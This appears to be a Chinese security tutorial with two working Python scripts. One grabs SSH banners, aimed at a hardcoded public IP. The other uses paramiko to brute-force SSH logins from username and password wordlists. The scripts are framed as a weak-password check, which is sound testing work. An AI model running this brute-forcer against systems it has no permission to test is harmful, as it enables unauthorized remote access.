SSH协议专为远程主机的登录及其他网络服务提供安全性,通过 SSH Client 我们可以连接到运行了 SSH Server 的远程机器上,运行在主机的22端口上。
如果在设置SSH服务的用户名和密码时,管理员设置了容易被猜测出来的弱口令(如用户名root,密码password),将会为攻击者远程接入设备及进一步的攻击提供方便,为设备自身带来安全风险。
1. SSH服务探测
探测目标设备是否开启SSH服务,若开启输出对应的SSH服务版本信息
代码如下:
# -*- coding: utf-8 -*-
from asyncio import wait_for, TimeoutError, open_connection, run
async def check_ssh_open(ip: str):
try:
reader, writer = await wait_for(open_connection(ip, 22), 2)
# print(reader)
except (TimeoutError, OSError) as e:
return "SSH service is not open."
try:
s = await wait_for(reader.readuntil(b"\n"), 3)
# print(s)
s = s.decode()
if s.startswith("SSH"):
return f"{ip} -> {s.strip()}"
#return ip, s.strip()
except TimeoutError as e:
pass
finally:
writer.close()
# await writer.wait_closed()
return False
async def main():
print(await check_ssh_open("8.129.1.143"))
if __name__ == '__main__':
run(main())
运行结果:
该功能通过 asyncio 实现,asyncio中内置了对异步IO的支持。
通过open_connection(ip, 22)函数与目标IP地址的22端口建立连接,wait_for()为网络连接设置超时时间,如果发生超时,任务将取消并引发asyncio.TimeoutError,代表网络连接建立失败,目标IP地址未在22端口开启SSH服务,reader和writer分别负责在io流中读取和写入数据。
随后对读取到的数据解码得到目标IP地址的SSH版本信息。
2. SSH弱口令爆破
若探测到目标设备开启了SSH服务,下一步,对其SSH用户名及密码进行爆破,检查其是否使用了弱口令。
该功能通过调用 paramiko 模块实现。paramiko模块遵循SSH2协议,支持以加密和认证的方式进行远程服务器的连接。
代码如下:
# -*- coding: utf-8 -*-
import paramiko
import time
import signal
username_list = []
password_list = []
def get_username_list():
global username_list
if not username_list:
f = open('username.txt', 'r', encoding='utf-8')
for item in f.readlines():
item = item.strip()
if item and not item.startswith('#'):
username_list.append(item)
f.close()
return username_list
def get_password_list():
global password_list
if not password_list:
f = open('password.txt', 'r', encoding='utf-8')
for item in f.readlines():
item = item.strip()
if item and not item.startswith('#'):
password_list.append(item)
f.close()
return password_list
def sshcracker(ip):
username_list = get_username_list()
password_list = get_password_list()
flag = False
for username in username_list:
for password in password_list:
try:
print(f"{username}:{password}")
# 建立一个sshclient对象
ssh = paramiko.SSHClient()
# 自动添加策略,保存服务器的主机名和密钥信息,如果不添加,那么不在本地know_hosts文件中记录的主机将无法连接
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, 22, username, password)
return f"username is: {username}, password is: {password}"
flag = True
ssh.close()
break
except Exception as e:
pass
except KeyboardInterrupt:
pass
time.sleep(1)
if flag == True:
break
if flag == False :
return "The username and password is not weak."
if __name__ == '__main__':
print(sshcracker("192.168.1.110"))
运行结果如下图所示,此处对开启了SSH服务的Linux虚拟机进行爆破。
首先,通过paramiko.SSHClient()建立一个sshclient对象,ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
自动添加策略,保存服务器的主机名和密钥信息,如果不添加,那么不在本地know_hosts文件中记录的主机将无法连接。
随后,使用connect(ip, 22, username, password)与远程主机进行连接,其中username和password参数为用户名和密码字典中的值,若连接成功则表示目标设备存在弱口令漏洞。
该漏洞一旦被攻击者利用,攻击者将可以在被攻击设备上运行恶意脚本,设备安全将受到威胁。